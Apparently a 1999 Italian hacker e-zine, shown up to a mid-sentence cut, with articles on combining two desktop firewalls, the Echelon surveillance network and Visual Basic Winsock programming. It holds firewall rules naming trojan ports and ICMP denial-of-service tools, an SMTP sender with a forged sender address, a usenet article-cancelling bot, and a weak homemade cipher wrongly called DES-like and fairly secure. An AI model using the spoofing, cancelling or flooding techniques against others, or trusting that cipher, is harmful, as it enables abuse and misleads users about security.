_______ __ __________ \ \ _____/ |\______ \__ __ ____ ____ ___________ ______ / | \_/ __ \ __\ _/ | \/ \ / \_/ __ \_ __ / ___/ / | \ ___/| | | | \ | / | \ | \ ___/| | \|___ \ \____|__ /\___ >__| |____|_ /____/|___| /___| /\___ >__| /____ > \/ \/ \/ \/ \/ \/ \/® 4 0 4 -------------------------------------------------------------------------- FrOm Spp to tHe NeT NumEro SeTtE DeDiCaTeD To DaRkMaN -------------------------------------------------------------------------- Sommario: --------- Editoriale By Brigante -------- Conseal o @guard? Tutti e due ;-) By Buttha --------------------------------- Sistema di sorveglianza globale By Gaudy ed Alexa ----------------------- La programmazione del Winsock 2 By Master --------------------- Intermezzo By Buttha ---------- "hihihi" ovvero The MISTIFICATOR COMPILER By Master ------------------------- Programmazione della shell sotto Linux By SirPsycoSexy -------------------- Modem, che fai? By RigoR MorteM --------------- IRC ed i suoi segreti :-) By Darkman ------------------------- =========================================================================================== Editoriale ---------- by Brigante SPP Member Ciao a tutti :-)))) eccoci arrivati finalmente all'appuntamento più atteso da tutti quanti noi...innocenti smanettoni della tastiera :l'Hack-it 99. Non mi dilungo a spiegare in cosa consiste questo appuntamento, dato che molti di voi lo staranno vivendo nello stesso momento in cui leggono queste righe. Mi spiace solo di non poterci essere, ma sono sicuro che i miei fratellini SPP sapranno compensare la mia assenza :-))) Questa volta abbiamo proprio voluto esagerare, e vi proponiamo un numero ricchissimo di articoli interessanti. Il nostro neo-fratello Buttha si è messo a lavorare sodo, e di ha sfornato ben due articoli, uno sui firewall che spesso trovano posto nei nostri desktop, ed uno sullo sfruttamento "furbo" dei frammenti di pacchetti ICMP ;-) Abbiamo anche due articoli del nostro facondo Master, tra cui, a gran richiesta, la continuazione della programmazione del Winsock. Gaudy invece tratta uno degli argomenti più misteriosi degli ultimi anni....ovvero Echelon...sarà vero che siamo tutti loggati si o no?? Il caro Psyco ci guida alla scoperta della shell di Linux con la relativa programmazione annessa, mentre RigoR illustra il funzionamento del modem, ovvero come funziona il nostro bypass ehehehehe. Conclude questo strepitoso numero un articolo molto dettagliato di Darkman su IRC. Colgo l'occasione per annunciare che, dal prossimo numero, troverete nella rivista sempre un articolo dedicato al mondo di IRC, e per questa iniziativa ringrazio TheDuke, Root5 e ChRoMe, che si sono offerti di darmi una validissima e graditissima mano :-))) Questo numero inoltre presenta la novità degli allegati. Finora avevamo cercato di evitarli....ma, con lo spessore degli articoli di questo numero, non ci è più stato possibile. Da segnalare, nel mondo di SpiPPoLanDia, due notizie....una brutta ed una bella. Comincio dalla brutta: purtroppo Darkman è stato chiamato alle armi, quindi non troveremo più il nostro caro BOT nel canale giorno e notte. Comunque ti siamo vicini dark, ed anzi ti dedico questo numero di NetRunners.....con la speranza che ti possa trovare al meglio (ehm....non è che mi metteresti una backdoor nel computer del Ministero della Difesa?? hihihihihi) La bella invece è che finalmente Chrome ha messo la testa a posto e si è lanciato nel mondo imprenditoriale. A lui tanti in bocca al lupo da tutti i fratelli SPP, e aspettiamo i listini con le condizioni di particolare favore ehehehehe. Bene.....penso di essermi dilungato fin troppo....ringrazio tutti quelli che mi hanno dato una mano, ed in particolare i ragazzi di Ring Z3r0 (ciao Neural :-)) ) che, oltre ad essersi offerti di collaborare, sono simpaticissimi.Non mi resta che salutarvi ed augurarvi buona lettura :-))) Brigante _#_ Conseal o @ guard? Tutti e due ;-) ---------------------------------- By Buttha SPP Member E proprio nel titolo la risposta a questa annosa domanda. Ma perche' sorge questa domanda? Perche' stiamo parlando di due firewall con filosofie diverse: mentre Conseal PC Firewall e' un firewall packet filtering @guard lavora a livello di applicazione. Quali sono, in pratica, le ripercussioni? Chi usa @guard non puo' controllare il protocollo ICMP (nel suo dettaglio) e non ha un perfetto controllo dei "livelli bassi" e di tutti i protocolli. Al contrario, Conseal permette un'ottima gestione dei pacchetti, ma una pessima interazione con le applicazioni. Tutta questa premessa, e questo articolo, per cosa? Per descrivere come ho risolto un mio problema. Ecco un mio post: ** Allora: visto che @guard non gestisce icmp, ho provato conseal pc firewall 1.35. Solito problema con icq... allora ho fatto una rule di questo tipo: per tutti gli indirizzi remoti tcp/ip, in e out, permetti la comunicazione nel caso in cui ci sia in funzione l'applicazione icq.exe .... Quando con @guard fai una rule simile, la possibilita' di comunicare con tutti gli IP tcp/ip viene data alla *sola* applicazione icq.exe... ma conseal pc firewall si comporta in maniera "prodigiosa": basta che sia in esecuzione icq.exe e da allora qualunque applicazione puo' comunicare con qualunque indirizzo usando il protocollo tcp/ip! Praticamente ci si ritrova il firewall disabilitato. ** questo e' il problema sostanziale di un firewall packet filtering: non puoi discriminare in base alla applicazione. Ecco allora come ho risolto la cosa: usando sia conseal che @guard ;-) La logica e' molto semplice, e funziona pure :) Visto che conseal lavora ad un livello piu' basso di @guard, filtro quello che mi interessa con conseal, e passo il resto ai "piani alti", cioe' ad @guard. Cosi' posso, per es, controllare e gestire gli ICMP (cioe' posso condurre una vita rilassante in IRC :) ). InZomma: come gestire due politiche di filtraggio e vivere contenti. Ora vi descrivo le rule che utilizzo con conseal, cosi' capiamo per benino come funziona il baraccone. Lascio in attach il file con le rule, cosi' i pigri e curiosi saranno contenti. Intanto c'e' una rule "block land attach", che e' quella che si trova nei settaggi di default. Non e' utile per questa trattazione, erGo la tralascio. Stesso discorso per "block winnuke". C'e' la rule per permettere il passaggio del protocollo ARP, ed anche questa e' quella dei settaggi di default. Poi ci sono le rule per controllare i soliti noti: 31337, 12345, 20034 e compagnia. Queste rule hanno una priorita' 100 (piu' alto e' il numero e piu' bassa e' la priorita'). A priorita' di bassa (200), ho messo le due rule che lasciano il controllo ad @guard. Priorita' piu' bassa perche', altrimenti, non riusciremmo mai a rilevare i tentativi dei vari bo pinger, netbus seeker e simili (che hanno priorita' 100). Praticamente, prima si controllano le 31337, 12345, ..., e se per queste rule tutto e' a posto (cioe' non si fa il block), allora entrano in gioco le due rule che passano il tutto ad @guard. Queste due rule sono semplicissime: permetti l'in e out da qualsiasi indirizzo remoto, verso o da il nostro indirizzo, dei protocolli tcp/ip e udp/ip... cioe' "conseal, te statte bbono, che ora ci pensa @guard". La regola tcp, per esempio, e': per il protocollo tcp/ip, permetti l'inbound e outbound (priorita' 200), blocca i frammenti (e cosi' conseal ci da un protezione in piu' rispetto il solo @guard), per tutti gli indirizzi remoti (255.255.255.255 con maschera 0.0.0.0) su tutte le porte remote (0-65535), verso o da il nostro indirizzo (127.0.0.1 con maschera 255.255.255.255) su tutte le porte (0-65535). Rule identica per l'udp. Sara' quindi @guard a gestire questi pacchetti, controllando l'applicazione a cui fanno riferimento. Il problema ICQ e' risolto: @guard lascera' comunicare verso tutti gli indirizzi tcp/ip la sola applicazione ICQ (utilizzando una rule apposita di questo secondo firewall). Ovviamente, possiamo dare o togliere i permessi a qualsiasi applicazione. Tutti i pacchetti udp e tcp che sono passatti indenni dal conseal, verranno controllati da @guard, quindi verranno fatte rispettare le sue rule. In realta' abbiamo risolto anche altri problemi: addio pacchetti frammentati e addio protocolli non gestiti... se conseal riceve dei pacchetti che non siano tcp, udp, icmp o protocolli che non siano IP, ARP, RARP allora li blocca (parlo di conseal versione 1.35, le altre versioni non le ho mai usate). Un attacco IGMP, quindi, non avra' effetto. E ora veniamo ad un'altro beneficio di questa doppia politica di filtraggio: possiamo controllare a nostro piacimento l'ICMP. "E che me frega?"... domanda sbagliata: molti DoS irc si basano proprio su questo protocollo... avete presente divine o click? Inoltre, un ping verso il vostro indirizzo avra' una sola risposta: richiesta scaduta :) Per bloccare gli icmp ma permettere a voi di fare dei ping, le rule sono due, e a diversa priorita': la prima, a priorita' piu alta (100), vi permette di fare dei ping. La seconda, a priorita' 200, blocca gli ICMP verso di voi. Ci sara' poi una terza rule, aggiunta da me, che permette di passare gli icmp che partono dal vostro computer e che non sono dei ping (gia' inclusi nella prima rule). Perche' lasciare passare gli ICMP che partono dal vostro computer? Per non farvi arrabbiare quando cercate di usare click o divine ;) Eccoci pronti: rule 1: permetti i ping per il protocollo ICMP/IP, permetti gli inbound e outbound (a priorita' 100), e blocca i frammenti in entrata. Questo per tutti i remote address (255.255.255.255 con maschera 0.0.0.0) ma per il solo ICMP di tipo 0, cioe' echo reply (ping reply). Questo permette di avere le risposte ai ping. Il local address e' il nostro (127.0.0.1 con mask 255.255.255.255) per il solo ICMP di tipo 8, echo request (ping request). Ecco cosi' che ci e' permesso di fare i ping. rule 2: blocca i DoS ICMP per il protocollo ICMP/IP, blocca, con priorita' 200, gli inbound e outbound. La priorita' e' 200 (piu' bassa di 100), per permettere di utilizzare per prime la rule 1 e la rule 3. Quindi, quello che non si adatta alla rule 1 e 3, viene trattato da questa rule. I remote address sono tutti e i tipi di ICMP anche (0-255). Il local address e' il nostro e i tipi di ICMP tutti. Potete aggiungere, alla fine, un warn safe e un log safe. rule 3: permettimi di fare il cattivo per il protocollo ICMP/IP, permetti l'outbound (priorita' 100), verso tutti gli indirizzi remoti e tutti i tipi di ICMP, dal nostro indirizzo (127.0.0.1 con mask 255.255.255.255) e di tutti i tipi di ICMP. Direi che e' tutto. In allegato dovreste trovare le rule pronte. Aloha Buttha _#_ Sistema di sorveglianza globale ------------------------------- By Gaudy SPP Member ed Alexa - Introduzione. - Siamo veramente liberi? Libertà significa avere la facoltà di vivere liberamente, di muoversi, di agire in modo autonomo, secondo la propria volontà e la propria natura, senza essere sottoposti a limitazioni o costrizioni. Libertà significa essere un individuo indipendente dalla potestà di un soggetto superiore, in particolare dello Stato, nell'esercizio di attività garantite come lecite dall'ordinamento. Ma siamo veramente liberi? Noi tutti, cittadini dell'Europa, abbiamo faticosamente imparato cosa vuol dire essere liberi, ma adesso siamo in pericolo di perdere di nuovo tante di queste libertà. Oggi gli Stati Uniti, la Gran Bretagna, il Canada , l'Australia e la Nuova Zelanda ci tengono sotto controllo! A rivelarlo ufficialmente è un recentissimo rapporto dello Stoa, della Direzione generale ricerca del Parlamento Europeo, secondo il quale ogni telefonata, ogni messaggio di posta elettronica, criptato o meno, può essere intercettato, selezionato, decodificato e inserito in una potentissima banca dati computerizzata comune ai cinque Paesi in questione. Ufficialmente gli accordi servono alla lotta contro i grandi criminali ed alla protezione della sicurezza nazionale, ma coinvolgono tutta l'umanità. Il concetto di questo sistema è di registrare automaticamente ogni scambio di informazione - sia tramite telefono o cellulare, sia tramite fax, e-mail o ogni altra forma di posta elettronica. L'applicazione di questa tecnologia, implica sia il controllo dell'intera rete di comunicazione e di dati sia l'elaborazione di un profilo dei movimenti di un utente di cellulare. Sarebbe corretto, che ogni intercettazione di comunicazione telefonica fosse oggetto di autorizzazione preliminare, conformemente alle prescrizioni del Parlamento interessato. Ma nella maggior parte dei casi i servizi di polizia e di informazione non dovrebbero poter avvalersi di AUTO-autorizzazioni all'intercettazione, salvo quei casi molto particolari che dovrebbero comunque essere oggetto di comunicazione all'autorità che rilascia le autorizzazioni non appena possibile. I Paesi che non sono disposti ad accettare queste condizioni vengono sorvegliati contro la loro volontà, visto che le tecniche di intercettazione sono già incorporate nei sistemi di comunicazione esistenti come per esempio le linee ISDN. 1. TECNOLOGIE DI SORVEGLIANZA. Le tecnologie di sorveglianza possono essere definite come dispositivi o sistemi di monitoraggio per tracciare e valutare i movimenti degli individui, delle loro proprietà e di altri averi. La maggior parte di queste tecnologie è usata per controllare le attività di dissidenti, attivisti dei diritti umani, giornalisti, leader studenteschi, minoranze, leader sindacali e oppositori politici. Tra le tante apparecchiature sofisticate usate per la sorveglianza, sono incluse le lenti a visione notturna, microfoni parabolici per captare conversazioni a voce a oltre un chilometro di distanza, versioni laser che possono registrare ogni conversazione da una finestra chiusa che si trovi in linea visuale. La camera stroboscopica danese Jai può prendere centinaia di foto in pochi secondi e fotografare individualmente tutti i partecipanti a una dimostrazione o a una marcia e i sistemi automatici di riconoscimento dei veicoli possono tracciare le auto in giro per una città attraverso un Sistema Informatico Geografico basato su mappe. Nella sorveglianza urbana, esistono sistemi automatici di riconoscimento delle facce. Essi saranno inizialmente introdotti in postazioni statiche, come cancelli girevoli, punti doganali, cancelli automatici, parti delle città a rischio, etc, per rendere possibile la scansione di una folla e comparare le facce immagazzinate in un computer remoto. Questi sistemi di sorveglianza sollevano significativi problemi di responsabilità, particolarmente quando trasferiti a regimi autoritari. Le camere usate nella piazza Tienanmen erano state vendute come sistemi avanzati per il controllo del traffico, ma dopo il massacro di studenti nel 1989, ne consegui' una caccia alle streghe quando le autorità torturarono e interrogarono migliaia di persone nello sforzo di scovare i sovversivi. Ecco come ogni persona, perde i propri diritti se solo si trova nel posto sbagliato al momento sbagliato! 2.RETI DI INTERCETTAZIONE. C'è stato uno spostamento politico degli obiettivi negli ultimi anni. Invece di investigare sul crimine, le agenzie di polizia stanno sempre più tracciando determinate classi sociali e determinate razze di persone che vivono nelle aree a rischio - prima che il crimine sia commesso - una forma di polizia preventiva. Senza crittazione, i moderni sistemi di comunicazione sono virtualmente trasparenti di fronte alle avanzate apparecchiature di intercettazione che possono essere usate per l'ascolto. Tutti i telefoni mobili in un paese, quando attivati, sono un ottimo mezzo per rintracciare i loro possessori in ogni momento, con un margine d'incertezza di poche centinaia di metri. Anche se nessuno nega il ruolo di queste reti nelle operazioni antiterrorismo e contro il traffico illegale di droga, il lavaggio di denaro sporco e le compravendite illecite di armi, bisogna ugualmente esprimere il proprio allarme per quanto concerne la protezione dei dati personali e per la salvaguardia della PRIVACY. La possibilità di intercettare qualsiasi comunicazione è unita ad una crittografia troppo debole, che rende insicuro qualsiasi mezzo di trasmissione e permette agli Stati Uniti di spiarci senza alcun nostro controllo. La FRANCIA non ritiene che la liberazione della crittografia, possa ostacolare le attività di indagine delle Forze dell'ordine, e annuncia delle linee guida, quali: · liberalizzazione completa dell'uso della crittografia; · impiego di chiavi da 128 bit ( in precedenza erano consentite chiavi da soli 40 bit); · eliminazione del ricorso obbligatorio alle Entità di certificazione per il deposito delle chiavi; · Emanazione di norme sull'obbligo di decifrazione dei documenti a richiesta dell'Autorità Giudiziaria; · Gli Stati Uniti, pero', sono il paese che detiene la leadership in materia di crittografia, e anche se all'estero ci sono fior di scienziati, non c'è nessun altro stato che ha investito in modo cosi' massiccio nello sviluppo dei sistemi di intercettazione. Siamo dunque seri, vogliamo credere che si possa impedire facilmente agli americani di ficcare il naso negli affari di tutto il mondo? Una crittografia può rendere solo più complessa, e a volte inutile, l'attività dell'intercettazione, ma non impedirla. Esistono essenzialmente due sistemi separati, precisamente: 1. Il sistema UKUSA che comprende le attività di agenzie di intelligence militare come NSA - CIA negli USA che incorpora GCHQ e M16 in UK, che operano congiuntamente un sistema conosciuto come ECHELON 2. Il Sistema EU- FBI che concatena assieme varie agenzie di ordine pubblico come FBI, polizia di stato, dogane, immigrazione e sicurezza interna. "IL SISTEMA ECHELON". COS'E'? Echelon è un sistema di controllo mondiale sviluppato e coordinato dalla NSA americana (National Security Agency). L'Echelon fa parte di un sistema di spionaggio sviluppato durante la guerra fredda, in seguito all'accordo "Ukusa" del 1947 tra gli Stati Uniti e la Gran Bretagna. Il Canada, l'Australia e la Nuova Zelanda, partecipano, accanto agli Stati Uniti, a questo progetto. Questo sistema d'informazione è stato descritto per la prima volta dal neozelandese Nicky Hager, nel suo libro "Segret Power ". L'inchiesta di Hager e le sue scoperte sui "dizionari" di Echelon, hanno portato alla luce uno dei maggiori e più segreti progetti dei servizi di intelligence. COME FUNZIONA? Il primo componente di questo sistema è costituito dalle cinque grandi basi Ukusa, da cui vengono intercettate le comunicazioni che passano attraverso i 25 satelliti geostazionari Intelsat, usati dalle compagnie telefoniche di tutto il mondo per le comunicazioni internazionali. L'ultima generazione di satelliti spia, è costituita da tre nuovi "bird" geosincronici, messi in orbita negli ultimi quattro anni. Quello che copre l'Europa, staziona in orbita a 22.300 miglia di altitudine sopra il Corno dell'Africa ed è controllato dalla base terrestre inglese di Menwith Hill, nel nord del Yorkshire, che con i suoi 22 terminali satellitari è la più grande della rete Ukusa. Il sistema Ukusa è costituito da una griglia di super computer in rete - battezzati "dizionari"- capaci di assorbire, esaminare, filtrare in tempo reale enormi quantità di messaggi digitali e analogici, estrapolare quelli contenenti ognuna delle parole - chiave programmate, decodificarli e inviarli automaticamente al quartier generale del servizio di intelligence dei cinque paesi interessati ai messaggi. Periodicamente i dictionary manager , cambiano la lista delle parole chiave, inserendone delle nuove a seconda dei temi politici del periodo. Ecco ad esempio un elenco di parole chiave: Bags Bunny, Verisign, Secure, ASIO, Lebed, Ice, Lexis- Nexis, Flir, Jic, bce, Lacrosse, Flashbangs, IRA, DIA, BOP, BMDO; site, SASSTIXIS, benelux, SAS, Lander, AT, SHAPE, SABENA, GSM, Exon Shell. DOVE SONO LE BASI TOP SECRET? Le intercettazioni vengono fatte da cinque basi segrete, che orientano le enormi parabole sui satelliti di comunicazione Intelsat: la base neozelandese di Waihopai ancora sul Pacifico; la base britannica di Morwenstow in Cornovaglia è puntata sui satelliti dell'Atlantico, dell'Europa e dell'Oceano Indiano; la base americana di Sugar Grove, in Virginia, intercetta quelli del nord e sud America; la base USA di Yakima, nello stato di Washington, punta sul Pacifico; la base australiana di Gerldton intercetta i satelliti dell'Oceano indiano. Una seconda rete di intercettazione è costituita dalle basi che captano le comunicazioni che transitano su altri satelliti( tra cui quelli russi): Menwith Hill in Inghilterra, Shoal Bay in Australia, Leitrim in Canada, Bad Aibling in Germania, Misawa in Giappone e la segretissima Pine Gap in Australia. Un sistema di strutture che monitora direttamente le comunicazioni via terra è l'elemento finale del sistema ECHELON. Oltre alle comunicazioni satellitari e radio, esiste un altro modo per intercettare, ed è, quello di cavi sottomarini, che passano sotto gli oceani, e reti a microonde sulla terra ferma. Pesanti cavi, posati nel fondo marino, si fanno carico delle comunicazioni internazionali mondiali. Dopo che escono dall'acqua ed arrivano sulla terraferma le microonde divengono molto vulnerabili alle intercettazioni. CHE SPERANZE ABBIAMO? La libertà non è ancora completamente persa. In altri dodici paesi della UE, il dibattito sui diritti dell'umanità, deve ancora iniziare. Qui' si tratta della libertà e della dignità dell'uomo - e ha solo poco a che fare con servizi informativi, sistemi di spionaggio modificati e sistemi di sorveglianza pienamente elettronizzati. Siamo seduti su una bomba atomica - gigaherz incontrollabile della società informativa dell'avvenire. Solo insieme possiamo disattivarla. Uniamoci e agiamo in nome della libertà e della democrazia! _#_ La programmazionde del Winsock 2 -------------------------------- By Master SPP Member La programmazione del winsock 2. Cosa sarete in grado di fare con poche righe di codice e il vostro immancabile VB: Un completo portscan e scansite per recuperare tutti i servizi aperti da un range prestabilito di ip ..ricavando anche il nome dei server remoti utilizzati. Uno usenet-robot per cancellare su uno o su un insieme di news group articoli provenienti da spammatori (o altro) seguendo determinati criteri di ricerca. (ad esempio parlole chiave presenti o non-presenti nel subject, determinati nntpp-posting, ecc...) Una chat ad ingresso multiplo. (Convertibile in xxx - server) Tutta una serie di server personali: ftp server, telnet shell, sendmail, popserver, ecc.. Un programma per dialogare con i vostri amici in completa segretezza annullando anche la possibilita' che il vostro provider possa leggere i messaggi inviati. .. dati gli argomenti mi scuserete se invece delle solite 10/15 righe di codice sorgente per gli esempi mi terro' un po' piu' alto. :) Del resto e' opinione comune che, ad esempio, farsi un server personale sia una cosa complicatissima e per la quale sono necessarie migliaia di righe di codice, una preparazione tecnica con i fiocchi e chissa' quali ocx e librerie dll introvabili. Vi mostrero' invece che e' semplicissimo e bastano si e no 10 minuti di lavoro. - . - Come prima cosa una Errata Corrige (o quasi) all'articolo precedente. ERRATA CORRIGE: ====================================================================================== C'e' un errore (involontario) relativamente al codice usato per generare le risposte dal programma di esempio Simil-bopsy per il protocollo UDP. Cioe'.. il programma funziona ma spedisce al client un codice con un errato header e quindi la risposta non viene visualizzata ..se non nei termini di BAD HEADER da parte del client di backorifice. Cio' e' dovuto al fatto che per generare il cifrato ho usato un mio codificatore in C che non sempre funziona. .. nessuno e' perfetto. ;-P basta sostituire alla linea UDP1.SendData "+cÐÊþ¤ÑÑå1/4uK(tm)_+ Ï+t?3É[SµU|S"ÈÓ`ÿ-_" quella corretta UDP1.SendData "+cÐÊþ¤ÑÑå¦uKÖë+ Ï+t?3É[SµU|SôÈÓ`å__Y" ..sempre per la risposta "ma la vogliamo finire!?" .. per altre risposte bisogna trovarsi i codici col sistema che avevo spiegato. .. poi c'e' anche una precisazione da fare: A qualcuno non funziona il programma 'veloce' per spedire le mail a causa del delay. Questo e' dovuto solamente al fatto che l'smtp usato e di tipo vecchio e non replica con il carriage return all'invio delle singole righe inviate dopo il campo data (Il mio lo fa.. quindi a me funziona) ...il delay allora non riceve i riempitivi per la variabile -ricevi- e si pianta alla ricerca di una risposta che (almeno da QUEL particolare server) non verra' mai. I sendmail recenti inviano ad ogni ricezione dati almeno un CR di conferma Cambiare smtp?? ..:) ..beh ..vediamo di modificare il programma d'esempio. mi ripromettevo appunto di pubblicare una procedura piu' generica.. e lo faccio ora. ;-) Voglio ricordare pero' che tutti gli esempi citati sono solo esempi. Ovviamente ognuno deve poi essere in grado di modificarli per ottenere i PROPRI risultati specifici! Questi articoli non vogliono essere le -info- di un insieme di programmi da usare cosi'-come-sono ma solo un tutorial) per la modifica quindi sarebbe sufficiente sostituire il vecchio delay con questo ------------------------------------------------------------ Private Sub delay() pausa = 6 inizia = Timer Do While Timer"" Then GoTo fuori Loop fuori: End Sub ------------------------------------------------------------ ovvero .. se riceve una risposta dal server passa subito all'invio successivo del comando. In caso contrario ( con diversi smtp appunto non si ricevono risposte di conferma all'invio delle singole linee dopo il campo DATA ) da per buono che il comando sia stato inviato comunque e dopo secondi (6 in questo caso) passa al comando successivo. (Si poteva usare un Exit al posto del GoTo ma ho notato che dava problemi collaterali con le risposte del dataarival..non so perche'.) per una ulteriore velocizzazione e generalizzazione di tutta la procedura consiglio anche di inviare tutto il Body della mail compreso il punto finale in un unico SendData. Quindi la procedura da sostituire al posto della precedente : --------------------------------PRECEDENTE Dim ricevi as String Private Sub spedisci() TCP1.Connect "mail.server.it",25 ricevi = "": delay TCP1.SendData "HELO ciao" & VbCrLf ricevi = "": delay TCP1.SendData "MAIL FROM: pippo@de.pippi" & VbCrLf ricevi = "": delay TCP1.SendData "RCPT TO: mio@amico.it" & VbCrLf ricevi = "": delay TCP1.SendData "DATA" & VbCrLf ricevi = "": delay TCP1.SendData "Subject: PROVA" & VbCrLf * ricevi = "": delay TCP1.SendData "TE LO MANDO IO" & VbCrLf * ricevi = "": delay TCP1.SendData "." & VbCrLf ricevi = "": delay TCP1.close End Sub -------------------------------- potrebbe essere questa: -------------------------------- NUOVA Private Sub Command1_Click() TCP1.Connect "mail.server.it", 25 ricevi = "": delay TCP1.SendData "HELO ciao" & vbCrLf ricevi = "": delay TCP1.SendData "MAIL FROM: pippo@de.pippi" & vbCrLf ricevi = "": delay TCP1.SendData "RCPT TO: mio@amico.it" & vbCrLf ricevi = "": delay TCP1.SendData "DATA" & vbCrLf ricevi = "": delay TCP1.SendData _ "Subject: PROVA " + vbCrLf + vbCrLf + "TE LO MANDO IO " + vbCrLf + "." & vbCrLf ricevi = "": delay TCP1.Close End Sub -------------------------------- (Basterebbe anche cancellare le linee che ho segnato con asterisco in quella vecchia) .. si puo' usare con questa procedura che non ricerca conferme per-linea sia il vecchio delay che il nuovo. ====================================================================================== .. un ultima cosa prima di entrare nuovamente nel meraviglioso mondo del winsock. I programmi di esempio sono tutti acclusi in formato uuecnode in fondo al testo dell'articolo mi e' stato chiesto come fare per estrarli. hi hi hi. ...basta il programma uudecode.exe che trovate tramite l'ftp search... o ancora meglio tra le migliaia di tools che estraggono i prog codificati uuencode vi consiglio di usare Windows Commander 3.53 (oltretutto e' migliore 1000 volte di gestione risorse.) selezionando il testo dell'articolo con i programmi acclusi e dando file/decodifica UUE fa tutto automaticamente. Eventualmente se vi scoccia usare Wincom salvate tutto il testo contenente le codiiche UUENCODE (anche tutto l'articolo volendo) con un nome tipo ARTICOLO.UUE (importante l'estensione UUE) .. e poi apritelo con WINZIP. Anche winzip appunto fa le decodifiche. Ci troverete dentro i programmi allegati. Oppure lo chiamate ARTICOLO.EML e lo aprite con Outlook .. fa lo stesso! Le procedure sono molteplici e tutte funzionanti. ;-) - . - Per finire la parte precedente relativa al mono winsock :) .. ovvero a quei programmi che non necessitano di piu' socket attivi come una chat o un server al quale devono collegarsi piu' utenti contemporaneamente vi mostro come fare due cose discretamente utili sia per quello che riguarda il mondo dell'hacking sia in generale. ******************************************************************************************* ************** WINSOCK CHAT CON INVIO DEI PACCHETTI SU TCP CODIFICATI DES. **************** ******************************************************************************************* Mandare messaggi via TCP e' sempre una procedura particolarmente poco sicura nel senso che anche se si ha la matematica certezza che nessuno sia al lavoro, da qualche parte nel mondo, per 'sniffarci' i nostri bei pacchettini di bytes a nostra insaputa sappiamo sempre pero' che almeno per il nostro rispettivo provider 'sbirciare' quello di inviamo o 'memorizzare' la nostra posta o visualizzare quello che scriviamo su icq o su una chat e' veramente molto semplice. Nessun dubbio che nel 99% dei casi il provider sospettato sia un gentiluomo d'altri tempi e un furbo amministratore della sua azienda che sa molto bene quello che rischierebbe con determinati atteggiamenti.. per quell'altro 1% di casi ... ;-) E' ovvio che e' possibile spedire mail cifrate col PGP e altri ammennicoli vari... ma quando si va a -dialogare- tramite irc, icq, o le chat e' sempre un problema mantenere un minimo di segretezza. Una delle cose migliori da fare un questo caso e' usare un proprio programma di comunicazione (chat) che abbia l'opzione di cifrare i dati prima di spedirli via TCP e decifrarli appena dopo l'avvenuta ricezione. Come supporto base possiamo usare il programma per la Chat che avevo pubblicato su "la programmazione del winsock 1". L'unica cosa da fare allora e' aggiungere al form una checkbox per spuntare l'opzione di cifratura. (quindi sara' possibile inviare e ricevere dati cifrati o in chiaro .. a scelta).. e strutturare due funzioni codifica(string) e decodifica(string) capaci di codificare e docodificare una stringa resituendone il suo inverso. come avevo gia' detto sara' a questo punto sufficiente codificare tutte le stringhe di dati prima dell'invio tramite winsock col senddata: ... text="testo da inviare" If Check1.Value = 1 Then text = codifica(text) TCP1.SendData text ... e decodificarle appena dopo l'arrivo: ... Private Sub TCP1_DataArrival(ByVal bytesTotal As Long) ... TCP1.GetData Data If Check1.Value = 1 Then Data = Decodifica(Data) ... ... Un esempio delle funzioni codifica e decodifica e' questo: E' una cosa molto semplice ma per correttezza devo dire che l'ho trovata free in rete da qualche parte, non e' di mia stesura.. ho solo trovato comodo implementarla qui.. e citerei anche la fonte se solo sapessi quale. ;-) Function codifica(testa As String) As String Dim aggiunta As Byte Dim chiave As Byte Dim L1, L2 As Integer Randomize aggiunta = Int((255 * Rnd) + 1) chiave = Int((255 * Rnd) + 1) L1 = chiave L2 = 1 While L2 < Len(testa) Mid(testa, L2, 1) = Chr((Asc(Mid(testa, L2, 1)) + L1) And 255) L1 = (L1 + aggiunta) Mod 256 L2 = L2 + 1 Wend testa = Chr(chiave) & testa & Chr(aggiunta) codifica = testa End Function E' un simil-DES come cifrato. Viene creata per la codifica un valore chiave e una aggiunta. Il valore chiave viene sommato al codice di ogni carattere complementandolo in and logico a 255. Successivamente la chiave cambia ( per evitare che lettere simili in sequenza siano cifrate allo stesso modo) secondo il modulo a 256 della chiave stessa piu' l'aggiunta. Questo sistema e' relativamente sicuro per quello che potrebbero essere i nostri scopi .. ma come ho sempre detto.. non ci spedirei i piani di invasione di un paese straniero. :)) C'e' pero' il vantaggio che il cifrato di un messaggio e' sempre diverso e contiene gia' per l'algoritmo del ricevente tutto quello che serve alla decofica quindi non e' necessario mettersi d'accordo preventivamente sulle frasi 'chiave'. La decodifica e' questa invece Function Decodifica(testa As String) As String Dim aggiunta As Byte Dim chiave As Byte Dim L1, L2 As Integer aggiunta = Asc(Right(testa, 1)) chiave = Asc(Left(testa, 1)) testa = Mid(testa, 2, Len(testa) - 2) L1 = chiave L2 = 1 While L2 < Len(testa) Mid(testa, L2, 1) = Chr((Asc(Mid(testa, L2, 1)) - L1) And 255) L1 = (L1 + aggiunta) Mod 256 L2 = L2 + 1 Wend Decodifica = testa End Function Studiandovi un po' le due procedure vedrete che sono praticamente uguali.. solo che la prima (codifica) fa la -somma- della chiave .. la seconda (decofica) fa solamente la sottrazione. Del resto ogni cifratore/decifratore fa esattamente la stessa cosa indipendentemente dall'algoritmo scelto... per decifrare si inverte il processo di cifratura. .. il programma di esempio lo trovate in fondo uuencode. @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ chat cifrata.zip 4131 bytes @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ . - . Ultimo esempio mono-sock. **************************************************************************************** Come farsi un robot per usenet (un bot per intendersi) **************************************************************************************** Mettiamo per prima cosa di voler controllare su un particolare ng la presenza di articoli provenienti da un determinato autore.. o la presenza di una parola chiave negli header o nel body di un articolo. Tramite telnet o netcat agiremmo cosi: telnet news.server 119 (119 e' la porta del servizio NNTP relativo e usenet) GROUP - Con GROUP si seleziona il news group da controllare. ARTICLE n (per leggere l'articolo numero N) .. meglio di article, per i nostri scopi, e' inceve il comando XHDR XHDR (serve leggere solamente il campo di quel particolare header) se ad esempio avessimo trovato una lista di articoli da 1 a 100 XHDR from 1-100 ritornerebbe sulla nostra finestra di dialogo una lista di artcoli numerati progressivamente da 1 a 100 con il contenuto del campo From: .. ovvero il nick e l'indirizzo mail dell'autore. XHDR Message-ID 1-100 ritornerebbe invece tutti i message ID dei messaggi indicati. La lista di ritorno viene terminata dal server news con un terminatore punto "." un un Carriage return + Line feed ( caratteri ascii 13+10) Quest'ultima considerazione e' molto importante.. vedremo poi perche'! trovato l'articolo che ci interessa cancellare 